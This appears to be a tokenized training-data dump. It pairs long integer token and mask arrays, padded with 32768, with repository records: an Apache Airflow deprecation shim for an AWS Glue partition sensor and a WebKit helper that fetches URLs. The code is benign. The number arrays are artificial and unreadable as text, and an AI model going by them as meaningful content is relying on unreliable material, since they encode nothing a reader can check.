12, 378, 9, 199, 1365, 14, 1084, 18508, 8, 78, 9, 199, 199, 3, 2790, 436, 4838, 2222, 6676, 666, 3180, 314, 1004, 199, 576, 275, 11144, 14, 11919, 5136, 3836, 342, 199, 576, 14, 1084, 985, 8, 354, 9, 199, 576, 14, 1084, 16030, 7075, 83, 8, 78, 11, 17, 9, 199, 509, 284, 315, 1425, 8, 78, 11, 17, 304, 272, 666, 14, 21322, 8, 73, 12, 284, 10, 73, 9, 199, 199, 1365, 14, 4152, 342, 199, 1365, 14, 18614, 1252, 30418, 1451, 1252, 1123, 3836, 8, 576, 9, 199, 199, 3, 6516, 307, 3375, 199, 84, 3375, 275, 11144, 14, 11919, 16397, 4131, 342, 199, 84, 3375, 14, 32195, 8, 1365, 14, 30810, 1012, 199, 84, 3375, 14, 1084, 19800, 8, 16, 14, 18, 9, 199, 84, 3375, 14, 1084, 16030, 15414, 83, 8, 1960, 9, 199, 84, 3375, 14, 1084, 35, 3262, 8, 549, 9, 199, 199, 7153, 275, 11144, 14, 11919, 12747, 1451, 11880, 342, 199, 7153, 14, 32195, 8, 84, 3375, 14, 30810, 1012, 199, 7153, 14, 1084, 13090, 1385, 1378, 6119, 3428, 792, 1451, 342, 199, 7153, 14, 5446, 4117, 3836, 8, 354, 9, 199, 7153, 14, 1084, 13090, 4709, 8, 576, 14, 1002, 4709, 8, 16, 430, 199, 199, 5021, 275, 11144, 14, 11919, 12258, 342, 199, 5021, 14, 1084, 11880, 8, 7153, 9, 199, 199, 12471, 275, 11144, 14, 11919, 11355, 342, 199, 12471, 14, 1123, 12258, 8, 5021, 9, 199, 199, 3806, 275, 11144, 14, 11919, 9216, 4301, 342, 199, 3806, 14, 1123, 11355, 8, 12471, 9, 199, 3806, 14, 1084, 2320, 8, 5783, 12, 6891, 9, 199, 199, 262, 2967, 630, 275, 11144, 14, 11919, 9216, 4301, 607, 2967, 630, 342, 199, 262, 2967, 630, 14, 1084, 9216, 4301, 8, 3806, 9, 199, 262, 2967, 630, 14, 9345, 342, 199, 199, 3806, 14, 9216, 342, 199, 262, 2967, 630, 14, 3162, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
spektom/incubator-airflow
airflow/contrib/sensors/aws_glue_catalog_partition_sensor.py
5
1217
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. """This module is deprecated. Please use `airflow.providers.amazon.aws.sensors.glue_catalog_partition`.""" import warnings # pylint: disable=unused-import from airflow.providers.amazon.aws.sensors.glue_catalog_partition import AwsGlueCatalogPartitionSensor # noqa warnings.warn( "This module is deprecated. Please use `airflow.providers.amazon.aws.sensors.glue_catalog_partition`.", DeprecationWarning, stacklevel=2 )
apache-2.0
[ 3, 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 221, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 221, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 624, 2765, 859, 365, 5906, 14, 7754, 675, 658, 15815, 14, 9710, 14, 15144, 14, 7231, 14, 22675, 14, 3528, 310, 63, 7959, 63, 5312, 17105, 199, 199, 646, 3598, 199, 199, 3, 4287, 26, 3507, 29, 8618, 13, 646, 199, 504, 16321, 14, 9710, 14, 15144, 14, 7231, 14, 22675, 14, 3528, 310, 63, 7959, 63, 5312, 492, 437, 3569, 39, 11322, 17161, 13068, 10160, 221, 327, 8151, 199, 199, 5451, 14, 4050, 8, 272, 298, 2765, 859, 365, 5906, 14, 7754, 675, 658, 15815, 14, 9710, 14, 15144, 14, 7231, 14, 22675, 14, 3528, 310, 63, 7959, 63, 5312, 2313, 401, 272, 13413, 12, 13232, 29, 18, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 3, 3909, 370, 314, 3668, 2290, 2752, 334, 14950, 9, 1334, 1373, 199, 3, 503, 1655, 11615, 4190, 14024, 14, 221, 1666, 314, 12840, 570, 199, 3, 1854, 543, 642, 1736, 367, 4722, 2556, 199, 3, 12602, 4248, 12715, 14, 221, 710, 14857, 12378, 642, 570, 199, 3, 370, 1265, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 199, 3, 298, 3761, 3547, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 199, 3, 543, 314, 844, 14, 221, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 257, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 199, 3, 2032, 1854, 1334, 314, 844, 365, 1854, 641, 376, 199, 3, 298, 1179, 2281, 2, 4207, 12, 2428, 2990, 1549, 4217, 1634, 1821, 199, 3, 3826, 12, 1902, 4056, 503, 2478, 14, 221, 1666, 314, 844, 367, 314, 199, 3, 2488, 2637, 4210, 3443, 436, 4204, 199, 3, 1334, 314, 844, 14, 199, 624, 2765, 859, 365, 5906, 14, 7754, 675, 658, 15815, 14, 9710, 14, 15144, 14, 7231, 14, 22675, 14, 3528, 310, 63, 7959, 63, 5312, 17105, 199, 199, 646, 3598, 199, 199, 3, 4287, 26, 3507, 29, 8618, 13, 646, 199, 504, 16321, 14, 9710, 14, 15144, 14, 7231, 14, 22675, 14, 3528, 310, 63, 7959, 63, 5312, 492, 437, 3569, 39, 11322, 17161, 13068, 10160, 221, 327, 8151, 199, 199, 5451, 14, 4050, 8, 272, 298, 2765, 859, 365, 5906, 14, 7754, 675, 658, 15815, 14, 9710, 14, 15144, 14, 7231, 14, 22675, 14, 3528, 310, 63, 7959, 63, 5312, 2313, 401, 272, 13413, 12, 13232, 29, 18, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
chauhanmohit/phantomjs
src/qt/qtwebkit/Tools/Scripts/webkitpy/common/net/web.py
194
1811
# Copyright (C) 2011 Google Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import urllib2 from webkitpy.common.net.networktransaction import NetworkTransaction class Web(object): def get_binary(self, url, convert_404_to_None=False): return NetworkTransaction(convert_404_to_None=convert_404_to_None).run(lambda: urllib2.urlopen(url).read())
bsd-3-clause
